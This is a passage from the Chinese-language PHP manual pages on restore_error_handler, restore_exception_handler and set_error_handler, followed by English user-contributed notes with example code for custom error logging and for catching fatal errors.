    set_error_handler("foo1");    //current error handler: foo1
    set_error_handler("foo2");    //current error handler: foo2
    set_error_handler("foo3");    //current error handler: foo3

    mysql_connect("inexistent");
    restore_error_handler();        //now, current error handler: foo2
    mysql_connect("inexistent");
    restore_error_handler();        //now, current error handler: foo1
    mysql_connect("inexistent");
    restore_error_handler();        //now current error handler: default handler
    mysql_connect("inexistent");
    restore_error_handler();        //now current error handler: default handler (The stack can't pop more)
?>
lsole at maresme dot net 14-Mar-2004 11:57
As the docs say, restore_error_handler() revert to the *previous error handler*... even if it is the same. A bug made me set twice my custom error handler and later when I was calling restore_error_handler() to restore the built-in handler nothing seemed to happen... this puzzled me for a while!


恢复之前定义过的异常处理函数。

  • ? restore_error_handler
  • set_error_handler ?
  • PHP Manual
  • 错误处理 函数
  • 恢复之前定义过的异常处理函数。

restore_exception_handler

(PHP 5, PHP 7, PHP 8)

restore_exception_handler — 恢复之前定义过的异常处理函数。

说明

restore_exception_handler(): true

在使用 set_exception_handler() 改变异常处理函数之后，此函数可以 用于还原之前的异常处理程序(可以是内置的或者也可以是用户所定义的函数)。

参数

此函数没有参数。

返回值

总是返回 true。

示例

Example #1 restore_exception_handler() 范例

<?php
function exception_handler_1(Exception $e)
{
echo '[' . __FUNCTION__ . '] ' . $e->getMessage();
}

function exception_handler_2(Exception $e)
{
echo '[' . __FUNCTION__ . '] ' . $e->getMessage();
}

set_exception_handler('exception_handler_1');
set_exception_handler('exception_handler_2');

restore_exception_handler();

throw new Exception('This triggers the first exception handler...');
?>

以上示例会输出：

[exception_handler_1] This triggers the first exception handler...

参见

  • set_exception_handler() - 设置用户自定义的异常处理函数
  • set_error_handler() - 设置用户自定义的错误处理函数
  • restore_error_handler() - 还原之前的错误处理函数
  • error_reporting() - 设置应该报告何种 PHP 错误

User Contributed Notes

rl7 at shinyblue dot net 24-Feb-2014 10:57
Note that this does not work within an exception handler.

e.g.

<?php

function handler1(Exception $e) {
    echo "handler1\n";
    restore_exception_handler();
    throw $e;
}
function handler2(Exception $e) {
    echo "handler2\n";
}

set_exception_handler( 'handler2' );
set_exception_handler( 'handler1' );

throw new Exception( 'might expect to see handler1, handler2' );

/* Outputs:
handler1
PHP Fatal error:  Uncaught exception 'Exception' with message 'might expect to see handler1, handler2' in /tmp/demo.php:15
Stack trace:
#0 {main}
  thrown in /tmp/demo.php on line 15
*/

?>


设置用户自定义的错误处理函数

  • ? restore_exception_handler
  • set_exception_handler ?
  • PHP Manual
  • 错误处理 函数
  • 设置用户自定义的错误处理函数

set_error_handler

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

set_error_handler — 设置用户自定义的错误处理函数

说明

set_error_handler(?callable $callback, int $error_levels = E_ALL): ?callable

设置用户的函数 (callback) 来处理脚本中出现的错误。

本函数可用于在运行时定义自定义错误处理程序，例如，在应用程序中发生严重错误，或者在特定条件下触发了错误（使用 trigger_error()），应用程序需要执行文件/数据清理。

重要的是要记住 error_levels 里指定的错误类型都会绕过 PHP 标准错误处理程序， 除非回调函数返回了 false。 error_reporting() 设置将不会起到作用而继续会调用错误处理函数 —— 不过仍然可以获取 error_reporting 的当前值，并做适当处理。

同时注意，处理程序有责任在必要时使用 exit() 停止脚本执行。 如果错误处理程序返回了，脚本将会在发生错误的后一行继续执行。

以下级别的错误不能由用户定义的函数来处理，独立于发生错误的地方： E_ERROR、 E_PARSE、 E_CORE_ERROR、 E_CORE_WARNING、 E_COMPILE_ERROR、 E_COMPILE_WARNING，和在 调用 set_error_handler() 函数所在文件中产生的大多数 E_STRICT。

如果错误发生在脚本执行之前（比如文件上传时），将不会 调用自定义的错误处理程序因为它尚未在那时注册。

参数

callback

如果传递 null，则处理程序重置为默认状态。否则，处理程序是具有以下签名的回调。

handler(
int $errno,
string $errstr,
string $errfile = ?,
int $errline = ?,
array $errcontext = ?
): bool
errno
第一个参数 errno，将会以 int 形式传递错误的级别。
errstr
第二个参数 errstr，将会以 string 形式传递错误的信息。
errfile
如果回调接受第三个参数，errfile，将会以 string 形式传递错误的文件名。
errline
如果回调接受第四个参数，errline，将会以 int 形式传递错误发生的行号。
errcontext
如果回调接受第五个参数，errcontext 将会传递数组，该数组指向错误发生时活动符号表。也就是说，errcontext 会包含错误触发处作用域内所有变量的数组。用户的错误处理程序不应该修改错误上下文（context）。
Warning

此参数自 PHP 7.2.0 后弃用并自 PHP 8.0.0 移除。如果函数没有为该参数定义默认值，那么在调用时会出现"too few arguments"的错误。

如果函数返回 false，标准错误处理处理程序将会继续调用。

error_levels

就像 error_reporting 的 ini 设置能够控制错误的显示一样，此参数能够用于屏蔽 callback 的触发。如果没有该掩码，无论 error_reporting 是如何设置的，callback 都会在每个错误发生时被调用。

返回值

如果之前定义的错误处理程序（如果有）。如果是内置的错误处理程序，则返回 null。如果之前的错误处理程序是一个类的方法，此函数会返回带类和方法名的索引数组。

更新日志

版本 | 说明
8.0.0 | 删除 errcontext 并不再传递给用户回调。
7.2.0 | errcontext 被废弃。使用此参数时会导致 E_DEPRECATED 提醒。

示例

Example #1 用 set_error_handler() 和 trigger_error() 进行错误处理

以下示例展示了通过触发错误并以用户自定义的程序来进行内部异常的处理。

<?php
// error handler function
function myErrorHandler($errno, $errstr, $errfile, $errline)
{
if (!(error_reporting() & $errno)) {
// This error code is not included in error_reporting, so let it fall
// through to the standard PHP error handler
return false;
}

// $errstr may need to be escaped:
$errstr = htmlspecialchars($errstr);

switch ($errno) {
case E_USER_ERROR:
echo "<b>My ERROR</b> [$errno] $errstr<br />\n";
echo " Fatal error on line $errline in file $errfile";
echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
echo "Aborting...<br />\n";
exit(1);

case E_USER_WARNING:
echo "<b>My WARNING</b> [$errno] $errstr<br />\n";
break;

case E_USER_NOTICE:
echo "<b>My NOTICE</b> [$errno] $errstr<br />\n";
break;

default:
echo "Unknown error type: [$errno] $errstr<br />\n";
break;
}

/* Don't execute PHP internal error handler */
return true;
}

// function to test the error handling
function scale_by_log($vect, $scale)
{
if (!is_numeric($scale) || $scale <= 0) {
trigger_error("log(x) for x <= 0 is undefined, you used: scale = $scale", E_USER_ERROR);
}

if (!is_array($vect)) {
trigger_error("Incorrect input vector, array of values expected", E_USER_WARNING);
return null;
}

$temp = array();
foreach($vect as $pos => $value) {
if (!is_numeric($value)) {
trigger_error("Value at position $pos is not a number, using 0 (zero)", E_USER_NOTICE);
$value = 0;
}
$temp[$pos] = log($scale) * $value;
}

return $temp;
}

// set to the user defined error handler
$old_error_handler = set_error_handler("myErrorHandler");

// trigger some errors, first define a mixed array with a non-numeric item
echo "vector a\n";
$a = array(2, 3, "foo", 5.5, 43.3, 21.11);
print_r($a);

// now generate second array
echo "----\nvector b - a notice (b = log(PI) * a)\n";
/* Value at position $pos is not a number, using 0 (zero) */
$b = scale_by_log($a, M_PI);
print_r($b);

// this is trouble, we pass a string instead of an array
echo "----\nvector c - a warning\n";
/* Incorrect input vector, array of values expected */
$c = scale_by_log("not array", 2.3);
var_dump($c); // NULL

// this is a critical error, log of zero or negative number is undefined
echo "----\nvector d - fatal error\n";
/* log(x) for x <= 0 is undefined, you used: scale = $scale" */
$d = scale_by_log($a, -2.5);
var_dump($d); // Never reached
?>

以上示例的输出类似于：

vector a
Array
(
    [0] => 2
    [1] => 3
    [2] => foo
    [3] => 5.5
    [4] => 43.3
    [5] => 21.11
)
----
vector b - a notice (b = log(PI) * a)
<b>My NOTICE</b> [1024] Value at position 2 is not a number, using 0 (zero)<br />
Array
(
    [0] => 2.2894597716988
    [1] => 3.4341896575482
    [2] => 0
    [3] => 6.2960143721717
    [4] => 49.566804057279
    [5] => 24.165247890281
)
----
vector c - a warning
<b>My WARNING</b> [512] Incorrect input vector, array of values expected<br />
NULL
----
vector d - fatal error
<b>My ERROR</b> [256] log(x) for x <= 0 is undefined, you used: scale = -2.5<br />
  Fatal error on line 35 in file trigger_error.php, PHP 5.2.1 (FreeBSD)<br />
Aborting...<br />

参见

  • ErrorException
  • error_reporting() - 设置应该报告何种 PHP 错误
  • restore_error_handler() - 还原之前的错误处理函数
  • trigger_error() - 产生一个用户级别的 error/warning/notice 信息
  • error level constants

User Contributed Notes

RGraph 25-Feb-2023 10:20
A simple error handler that makes errors far more visible:

    //
    // Set the error handler to one that prints out more
    // visible errors
    //
    set_error_handler(function ($errno, $errstr)
    {
        $str = '<div style="margin: 20px; background-color: #fdd; border: 3px solid red; padding: 10px; border-radius: 15px; line-height: 25px"><b>Error: </b>%s (error level: %s)</div>';

        printf($str, $errstr, $errno);
    });
kaioker 01-Dec-2021 11:20
super simple error code to human readable conversion:

function prettycode($code){
    return $code == 0 ? "FATAL" : array_search($code, get_defined_constants(true)['Core']);
}
Alex M 27-May-2021 11:37
If you are new to programming and you would like to know how to add a combination of those error reporting values to .htaccess file. Here's a small guide.

With PHP function error_reporting we can add together option with bitwise add operator | . But we can't use those constants in htaccess file and in my case I have no idea how to add bitwise number.

So, solution can be casting selected options to int:

echo (int)(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR) ;
->263

Then you can use 263 in .htaccess

php_value error_reporting 263

In my case I needed those errors to be displayed for my debugging server. But the combination can be different from mine.
David Spector 11-Oct-2020 01:02
The PHP manual is not very clear about how to handle @ operator error messages.

Here is working code:

    // Do nothing if @ operator
    $errLevel=error_reporting(E_ALL);
    if ($errLevel===0)
        return true; // ignore @ prefixed expression errors
a dot ross at amdev dot eu 20-Dec-2018 01:54
I'm missing a way to chain error handlers. It's not something offered by set_error_handler. You have to jump through some hoops to get it to work, but it *is* quite possible, by making use of the return value of the function. Here's an example:

<?
$previous = set_error_handler(function ($errno, $errstr, $errfile, $errline, $errcontext) use (&$previous) {
    /* Your custom error handling code here. */

    // If another error handler was defined, call it.
    if ($previous) {
        return $previous($errno, $errstr, $errfile, $errline, $errcontext);
    } else {
        // Use the standard PHP error handler.
        return false;
    }
});
?>
steve962 at gmail dot com 16-Mar-2018 04:06
Be careful when using the return value to this function.   Because it returns the old handler, you may be tempted to do something like:

<?php
function do_something()
    {
    $old = set_error_handler("my_error_handler");
    // Do something you want handled by my_error_handler
    set_error_handler($old);
    }
?>

This will work, but it will bite you because each time you do this, it will cause a memory leak as the old error handler is put on a stack for the restore_error_handler() function to use.

So always restore the old error handler using that function instead:

<?php
function do_something()
    {
    set_error_handler("my_error_handler");
    // Do something you want handled by my_error_handler
    restore_error_handler();
    }
?>
Klauss 12-Sep-2017 04:36
Hi everyone. I don't know if it is an old behavior of previous versions, but currently you can set exception and error handlers as private or protected methos, if, only if, you call `set_exception_handler()` or `set_error_handler()` within a context that can access the method.

Example:
    <?PHP
        $Handler = new class ()
        {
            public function __construct ()
            {
                set_error_handler([&$this, 'HandleError']);
                set_exception_handler([&$this, 'HandleException']);
            }
            protected function HandleError ( $Code, $Message, $File = null, $Line = 0, $Context = [] )
            {
                // Handle error here.
            }
            private function HandleException ( $Exception )
            {
                // Handle exception here.
            }
        }
    ?>

NOTE: these methods must match the callbacks parameters signatures.
chris at ocproducts dot com 04-Aug-2016 10:53
Note that error handlers don't run recursively. If you have an error while an error handler is running (in the error handler itself or code called from it) then you won't get the error handler called again.

This has subtle ramifications for $php_errormsg. If you are relying on your error handler to suppress certain kinds of error message from going into $php_errormsg (via return true; because error_reporting doesn't affect $php_errormsg setting) then this will not work for any code called within that error handler.
aditycse at gmail dot com 12-Jan-2016 07:36
<?php
/**
 * Used for logging all php notices,warings and etc in a file when error reporting
 * is set and display_errors is off
 * @uses used in prod env for logging all type of error of php code in a file for further debugging
 * and code performance
 * @author Aditya Mehrotra<aditycse@gmail.com>
 */
error_reporting(E_ALL);
ini_set("display_errors", "off");
define('ERROR_LOG_FILE', '/var/www/error.log');

/**
 * Custom error handler
 * @param integer $code
 * @param string $description
 * @param string $file
 * @param interger $line
 * @param mixed $context
 * @return boolean
 */
function handleError($code, $description, $file = null, $line = null, $context = null) {
    $displayErrors = ini_get("display_errors");
    $displayErrors = strtolower($displayErrors);
    if (error_reporting() === 0 || $displayErrors === "on") {
        return false;
    }
    list($error, $log) = mapErrorCode($code);
    $data = array(
        'level' => $log,
        'code' => $code,
        'error' => $error,
        'description' => $description,
        'file' => $file,
        'line' => $line,
        'context' => $context,
        'path' => $file,
        'message' => $error . ' (' . $code . '): ' . $description . ' in [' . $file . ', line ' . $line . ']'
    );
    return fileLog($data);
}

/**
 * This method is used to write data in file
 * @param mixed $logData
 * @param string $fileName
 * @return boolean
 */
function fileLog($logData, $fileName = ERROR_LOG_FILE) {
    $fh = fopen($fileName, 'a+');
    if (is_array($logData)) {
        $logData = print_r($logData, 1);
    }
    $status = fwrite($fh, $logData);
    fclose($fh);
    return ($status) ? true : false;
}

/**
 * Map an error code into an Error word, and log location.
 *
 * @param int $code Error code to map
 * @return array Array of error word, and log location.
 */
function mapErrorCode($code) {
    $error = $log = null;
    switch ($code) {
        case E_PARSE:
        case E_ERROR:
        case E_CORE_ERROR:
        case E_COMPILE_ERROR:
        case E_USER_ERROR:
            $error = 'Fatal Error';
            $log = LOG_ERR;
            break;
        case E_WARNING:
        case E_USER_WARNING:
        case E_COMPILE_WARNING:
        case E_RECOVERABLE_ERROR:
            $error = 'Warning';
            $log = LOG_WARNING;
            break;
        case E_NOTICE:
        case E_USER_NOTICE:
            $error = 'Notice';
            $log = LOG_NOTICE;
            break;
        case E_STRICT:
            $error = 'Strict';
            $log = LOG_NOTICE;
            break;
        case E_DEPRECATED:
        case E_USER_DEPRECATED:
            $error = 'Deprecated';
            $log = LOG_NOTICE;
            break;
        default :
            break;
    }
    return array($error, $log);
}

//calling custom error handler
set_error_handler("handleError");

print_r($arra); //undefined variable
print_r($dssdfdfgg); //undefined variable
include_once 'file.php'; //No such file or directory
?>
dannykopping at gmail dot com 16-Feb-2014 09:52
Keep in mind that, when attempting to set a statically-defined error handler on a namespaced class in PHP >= 5.3, you need to use the class namespace:

<?php
set_error_handler('\\My\\Namespace\\Bob::errorHandler');
?>
jtrick77 at gmail dot com 30-Oct-2013 09:13
For anyone interested in the actual translated error codes and their meanings:

1    E_ERROR (integer)     Fatal run-time errors. These indicate errors that can not be recovered from, such as a memory allocation problem. Execution of the script is halted.
2    E_WARNING (integer)     Run-time warnings (non-fatal errors). Execution of the script is not halted.
4    E_PARSE (integer)     Compile-time parse errors. Parse errors should only be generated by the parser.
8    E_NOTICE (integer)     Run-time notices. Indicate that the script encountered something that could indicate an error, but could also happen in the normal course of running a script.
16    E_CORE_ERROR (integer)     Fatal errors that occur during PHP's initial startup. This is like an E_ERROR, except it is generated by the core of PHP.
32    E_CORE_WARNING (integer)     Warnings (non-fatal errors) that occur during PHP's initial startup. This is like an E_WARNING, except it is generated by the core of PHP.
64    E_COMPILE_ERROR (integer)     Fatal compile-time errors. This is like an E_ERROR, except it is generated by the Zend Scripting Engine.
128    E_COMPILE_WARNING (integer)     Compile-time warnings (non-fatal errors). This is like an E_WARNING, except it is generated by the Zend Scripting Engine.
256    E_USER_ERROR (integer)     User-generated error message. This is like an E_ERROR, except it is generated in PHP code by using the PHP function trigger_error().
512    E_USER_WARNING (integer)     User-generated warning message. This is like an E_WARNING, except it is generated in PHP code by using the PHP function trigger_error().
1024    E_USER_NOTICE (integer)     User-generated notice message. This is like an E_NOTICE, except it is generated in PHP code by using the PHP function trigger_error().
2048    E_STRICT (integer)     Enable to have PHP suggest changes to your code which will ensure the best interoperability and forward compatibility of your code.    Since PHP 5 but not included in E_ALL until PHP 5.4.0
4096    E_RECOVERABLE_ERROR (integer)     Catchable fatal error. It indicates that a probably dangerous error occurred, but did not leave the Engine in an unstable state. If the error is not caught by a user defined handle (see also set_error_handler()), the application aborts as it was an E_ERROR.    Since PHP 5.2.0
8192    E_DEPRECATED (integer)     Run-time notices. Enable this to receive warnings about code that will not work in future versions.    Since PHP 5.3.0
16384    E_USER_DEPRECATED (integer)     User-generated warning message. This is like an E_DEPRECATED, except it is generated in PHP code by using the PHP function trigger_error().    Since PHP 5.3.0
32767    E_ALL (integer)     All errors and warnings, as supported, except of level E_STRICT prior to PHP 5.4.0.     32767 in PHP 5.4.x, 30719 in PHP 5.3.x, 6143 in PHP 5.2.x, 2047 previously

(Copied from http://php.net/manual/en/errorfunc.constants.php)
nicolas dot grekas+php at gmail dot com 23-Oct-2013 09:34
If you want to be sure that the native PHP error handler is called without resetting the handler stack (as set_error_handler(null) does), you can simply call set_error_handler with $error_types set to zero. This can be especially use full in conjunction with e.g. error_get_last():

<?php

// var_dump or anything else, as this will never be called because of the 0
set_error_handler('var_dump', 0);
@$undef_var;
restore_error_handler();

// error_get_last() is now in a well known state:
// Undefined variable: undef_var

... // Do something

$e = error_get_last();

...

?>
phil at propcom dot co dot uk 18-Sep-2013 08:38
It is important to note that the registered SPL autoloader will NOT be called if an E_STRICT error triggers the error handler which, in turn, tries to use classes which are not yet loaded.

In this instance, you should manually load classes required by the error handler.
elad dot yosifon at gmail dot com 01-Aug-2013 11:42
<?php
/**
 * throw exceptions based on E_* error types
 */
set_error_handler(function ($err_severity, $err_msg, $err_file, $err_line, array $err_context)
{
    // error was suppressed with the @-operator
    if (0 === error_reporting()) { return false;}
    switch($err_severity)
    {
        case E_ERROR:               throw new ErrorException            ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_WARNING:             throw new WarningException          ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_PARSE:               throw new ParseException            ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_NOTICE:              throw new NoticeException           ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_CORE_ERROR:          throw new CoreErrorException        ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_CORE_WARNING:        throw new CoreWarningException      ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_COMPILE_ERROR:       throw new CompileErrorException     ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_COMPILE_WARNING:     throw new CoreWarningException      ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_ERROR:          throw new UserErrorException        ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_WARNING:        throw new UserWarningException      ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_NOTICE:         throw new UserNoticeException       ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_STRICT:              throw new StrictException           ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_RECOVERABLE_ERROR:   throw new RecoverableErrorException ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_DEPRECATED:          throw new DeprecatedException       ($err_msg, 0, $err_severity, $err_file, $err_line);
        case E_USER_DEPRECATED:     throw new UserDeprecatedException   ($err_msg, 0, $err_severity, $err_file, $err_line);
    }
});

class WarningException              extends ErrorException {}
class ParseException                extends ErrorException {}
class NoticeException               extends ErrorException {}
class CoreErrorException            extends ErrorException {}
class CoreWarningException          extends ErrorException {}
class CompileErrorException         extends ErrorException {}
class CompileWarningException       extends ErrorException {}
class UserErrorException            extends ErrorException {}
class UserWarningException          extends ErrorException {}
class UserNoticeException           extends ErrorException {}
class StrictException               extends ErrorException {}
class RecoverableErrorException     extends ErrorException {}
class DeprecatedException           extends ErrorException {}
class UserDeprecatedException       extends ErrorException {}
Jacob Slomp 04-Jun-2013 10:56
This might be handy if you don't want your clients to see the errors, and you do want to be one step ahead of them.

It emails you the errors even if it's a parse error.

set_error_handler() doesn't work for what I wanted.

<?php
ini_set('log_errors',TRUE);
ini_set('error_log','tiny_uploads/errors.txt');

if($_SERVER['REMOTE_ADDR'] != "YOUR IP ADDRESS"){
    ini_set('display_errors',false);
}

function byebye(){

        $dir = dirname(__FILE__);
        if(file_exists($dir."/tiny_uploads/errors.txt")){

            $errors = file_get_contents($dir."/tiny_uploads/errors.txt");

            if(trim($errors)){

                $head = "From: php_errors@".str_replace('www.','',$_SERVER['HTTP_HOST'])."\r\n";

                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nServer Info:\n\n".print_r($_SERVER, 1)."\n\n";
                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nCOOKIE:\n\n".print_r($_COOKIE, 1)."\n\n";
                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nPOST:\n\n".print_r($_POST, 1)."\n\n";
                $errors .= "---------------------------------------------\n\n";

                $errors .= "\n\nGET:\n\n".print_r($_GET, 1)."\n\n";

                mail("YOUR@EMAIL.COM","PHP Error ".$_SERVER['HTTP_HOST']."", $errors , $head);

                $fp = fopen($dir."/tiny_uploads/errors.txt","w+");
                fputs($fp, "");
                fclose($fp);
            }
        }
}
register_shutdown_function("byebye");
?>
Philip 28-May-2013 07:10
By this function alone you can not catch fatal errors, there is a simple work around. Below is part of my error.php file which handles errors and exceptions in the application. Before someone complains I'll add that I do not care that I am using globals, this file is part of my mini framework and without the 'config' variable the application would crash anyways.

<?php

/**
 * Error handler, passes flow over the exception logger with new ErrorException.
 */
function log_error( $num, $str, $file, $line, $context = null )
{
    log_exception( new ErrorException( $str, 0, $num, $file, $line ) );
}

/**
 * Uncaught exception handler.
 */
function log_exception( Exception $e )
{
    global $config;

    if ( $config["debug"] == true )
    {
        print "<div style='text-align: center;'>";
        print "<h2 style='color: rgb(190, 50, 50);'>Exception Occured:</h2>";
        print "<table style='width: 800px; display: inline-block;'>";
        print "<tr style='background-color:rgb(230,230,230);'><th style='width: 80px;'>Type</th><td>" . get_class( $e ) . "</td></tr>";
        print "<tr style='background-color:rgb(240,240,240);'><th>Message</th><td>{$e->getMessage()}</td></tr>";
        print "<tr style='background-color:rgb(230,230,230);'><th>File</th><td>{$e->getFile()}</td></tr>";
        print "<tr style='background-color:rgb(240,240,240);'><th>Line</th><td>{$e->getLine()}</td></tr>";
        print "</table></div>";
    }
    else
    {
        $message = "Type: " . get_class( $e ) . "; Message: {$e->getMessage()}; File: {$e->getFile()}; Line: {$e->getLine()};";
        file_put_contents( $config["app_dir"] . "/tmp/logs/exceptions.log", $message . PHP_EOL, FILE_APPEND );
        header( "Location: {$config["error_page"]}" );
    }

    exit();
}

/**
 * Checks for a fatal error, work around for set_error_handler not working on fatal errors.
 */
function check_for_fatal()
{
    $error = error_get_last();
    if ( $error["type"] == E_ERROR )
        log_error( $error["type"], $error["message"], $error["file"], $error["line"] );
}

register_shutdown_function( "check_for_fatal" );
set_error_handler( "log_error" );
set_exception_handler( "log_exception" );
ini_set( "display_errors", "off" );
error_reporting( E_ALL );
dorphalsig at NOSPAMgmail dot com 06-Oct-2011 11:25
This actually works to catch Fatal errors...

<?php
function shutdown()
{
    $a=error_get_last();
    if($a==null)
        echo "No errors";
    else
         print_r($a);

}
register_shutdown_function('shutdown');
ini_set('max_execution_time',1 );
sleep(3);
?>

it will output
Array ( [type] => 1 [message] => Maximum execution time of 1 second exceeded [file] => /path/to/file_name.php [line] => 136 )
francois vespa 22-Dec-2010 03:27
This is a note when using php from the terminal (the CLI interface). From the command line, even if you have some kind of error user handler function so STDERR will not display, fatal errors will still cause the PHP interpreter to display error text. There is nothing you can do about that php-wise. If using UNIX/Linux, you can add " 2>/dev/null" at the end of your command to force STDERR not to show
periklis 02-Aug-2010 08:09
How to handle fatal errors in php 5.2:

<?php
register_shutdown_function('shutdownFunction');
function shutDownFunction() {
    $error = error_get_last();
    if ($error['type'] == 1) {
        //do your stuff
    }
}
?>
devermin at ti0n dot net 23-May-2010 03:46
At work I have some code with errors that uncatched are the causes of integrity loss (people calling web services with file_get_contents that fails silently and afterwards insert garbage in the database).

here is the solution I found to transform a specific set of errors into exception and afterwards be able to selectively act (with the error code) regarding categories :

<?php
ini_set('error_reporting',E_ALL^E_NOTICE);

## first 10 bits reserved for the initial error number
define('EMASK',(~0)<<10);
define('ECODEMASK',~EMASK);
## categories
define('IOERROR', 1<<10);
define('EMPTYPARMS', 1<<11);
define('FAILURE', 1<<12);
## string error patterns => code

$catch_me=array(
    "/^(file_get_contents)\((.*)\).*failed to open stream: (.*)/ " =>
        array ( 'mesg' => "IO::Failed to open stream with",
                'code' => IOERROR | FAILURE
        ),
    "/^fopen\(.*\): Filename cannot be empty/" =>
        array( 'msg' => "Parameters::empty",
                'code' => EMPTYPARMS
        )
    );
function error_2_exception($errno, $errstr, $errfile, $errline,$context) {
    global $catch_me;
    foreach ($catch_me as $regexp  => $res) {
        if(preg_match($regexp,$errstr,$match)){
            throw new Exception($res['mesg'],$res['code']|( $errno & EMASK ) );
        }
    }
    /* switch back to PHP internal error handler  */
    return false;
}
## => want to catch this one
$f=file_get_contents("mlsdkfm");
## dont want to break existing wrong behaviour yet (so not caught)
$f=file_get_contents('');
## magic
set_error_handler("error_2_exception");
## behaviour remains the same
$f=file_get_contents('');
try {
## web services that dont work now raise an exception \o/
$f=file_get_contents("mlsdkfm");
} catch(Exception $e) {
## and I can group my exception by category
    echo ( $e->getCode() & FAILURE )  ? "\nEPIC FAIL\n" : "\nbegnine";
}

?>
kalle at meizo dot com 18-Dec-2009 06:11
This may be of help to someone, who is/was looking for a way to get a backtrace of fatal errors such as maximum memory allocation issues, which can not be handled with user-defined functions, to pin-point the problem:

On a server hosting many sites that share common PHP includes, I set in one spot:

<?php
@ini_set ("error_log", "/my/path/php.err-" . $_SERVER ["HTTP_HOST"] . "-" . $_SERVER ["REMOTE_ADDR"] . "-" . $_SERVER ["REQUEST_METHOD"] . "-" . str_replace ("/", "|", $_SERVER ["REQUEST_URI"]));
?>

I actually used some additional information too from my software that I omitted, but that way, you'll find errors sorted more neatly in for example:-

/my/path/php.err-website.com-127.0.0.1-GET-path|index.html?xyz

And that at least helped me tremendously to then further pin-point where the problem is, as opposed to before just seeing the out of memory and not knowing which site/page it was on (as the PHP error only contains the very latest PHP code where it ran out of memory, which usually is just a shared included file, not the actual page).
nizamgok at gmail dot com 15-Jun-2009 07:27
I have realized that a few people here mentioned that you cannot capture parse errors (type 4, E_PARSE). This is not true. Here is how I do. I hope this helps someone.

1) Create a "auto_prepend.php" file in the web root and add this:

<?php
register_shutdown_function('error_alert');

function error_alert()
{
        if(is_null($e = error_get_last()) === false)
        {
                mail('your.email@example.com', 'Error from auto_prepend', print_r($e, true));
        }
}
?>

2) Then add this "php_value auto_prepend_file /www/auto_prepend.php" to your .htaccess file in the web root.

* make sure you change the email address and the path to the file.
Marcelius 22-Jan-2009 05:41
Another way to catch PHP's fatal errors:

<?php
    error_reporting(E_ALL);
    ini_set('display_errors', 0);

    function shutdown(){
        $isError = false;
        if ($error = error_get_last()){
            switch($error['type']){
                case E_ERROR:
                case E_CORE_ERROR:
                case E_COMPILE_ERROR:
                case E_USER_ERROR:
                    $isError = true;
                    break;
            }
        }

        if ($isError){
            echo "Script execution halted ({$error['message']})";
        } else {
            echo "Script completed";
        }
    }

    register_shutdown_function('shutdown');
?>

Note that this will only catch runtime errors. So calling a method in a non existing class, or declaring a function twice does not trigger the shutdown handler.
wfinn at riverbed dot com 09-Jul-2008 06:15
"The following error types cannot be handled with a user defined function: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING, and most of E_STRICT raised in the file where set_error_handler() is called."

This is not exactly true.  set_error_handler() can't handle them, but ob_start() can handle at least E_ERROR.

<?php

function error_handler($output)
{
    $error = error_get_last();
    $output = "";
    foreach ($error as $info => $string)
        $output .= "{$info}: {$string}\n";
    return $output;
}

ob_start('error_handler');

will_this_undefined_function_raise_an_error();

?>
webmaster at paramiliar dot com 03-Jan-2008 11:03
We needed to use an error handler to handle SQL errors while passing the query along so the query is also logged and this is what we came up with, its kind of an ugly bridge but it works 100%

<?php

function myErrorHandler($errno, $errstr, $errfile, $errline){
    switch ($errno) {
    case E_USER_ERROR:
        if ($errstr == "(SQL)"){
            // handling an sql error
            echo "<b>SQL Error</b> [$errno] " . SQLMESSAGE . "<br />\n";
            echo "Query : " . SQLQUERY . "<br />\n";
            echo "On line " . SQLERRORLINE . " in file " . SQLERRORFILE . " ";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        } else {
            echo "<b>My ERROR</b> [$errno] $errstr<br />\n";
            echo "  Fatal error on line $errline in file $errfile";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        }
        exit(1);
        break;

    case E_USER_WARNING:
    case E_USER_NOTICE:
    }
    /* Don't execute PHP internal error handler */
    return true;
}

// function to test the error handling

function sqlerrorhandler($ERROR, $QUERY, $PHPFILE, $LINE){
    define("SQLQUERY", $QUERY);
    define("SQLMESSAGE", $ERROR);
    define("SQLERRORLINE", $LINE);
    define("SQLERRORFILE", $PHPFILE);
    trigger_error("(SQL)", E_USER_ERROR);
}

set_error_handler("myErrorHandler");

// trigger an sql error
$query = "SELECT * FROM tbl LIMIT 1";
$sql = @mysql_query($query)
    or sqlerrorhandler("(".mysql_errno().") ".mysql_error(), $query, $_SERVER['PHP_SELF'], __LINE__);

?>
ash 04-Aug-2007 03:38
error handling function that handles both errors and exceptions; also features a backtrace including possible function arguments.

<?php

$cfg = array();
$cfg['debug'] = 1;
$cfg['adminEmail'] = 'name@domain.tld';

function errorHandler($errno, $errstr='', $errfile='', $errline='')
{
    // if error has been supressed with an @
    if (error_reporting() == 0) {
        return;
    }

    global $cfg;

    // check if function has been called by an exception
    if(func_num_args() == 5) {
        // called by trigger_error()
        $exception = null;
        list($errno, $errstr, $errfile, $errline) = func_get_args();

        $backtrace = array_reverse(debug_backtrace());

    }else {
        // caught exception
        $exc = func_get_arg(0);
        $errno = $exc->getCode();
        $errstr = $exc->getMessage();
        $errfile = $exc->getFile();
        $errline = $exc->getLine();

        $backtrace = $exc->getTrace();
    }

    $errorType = array (
               E_ERROR            => 'ERROR',
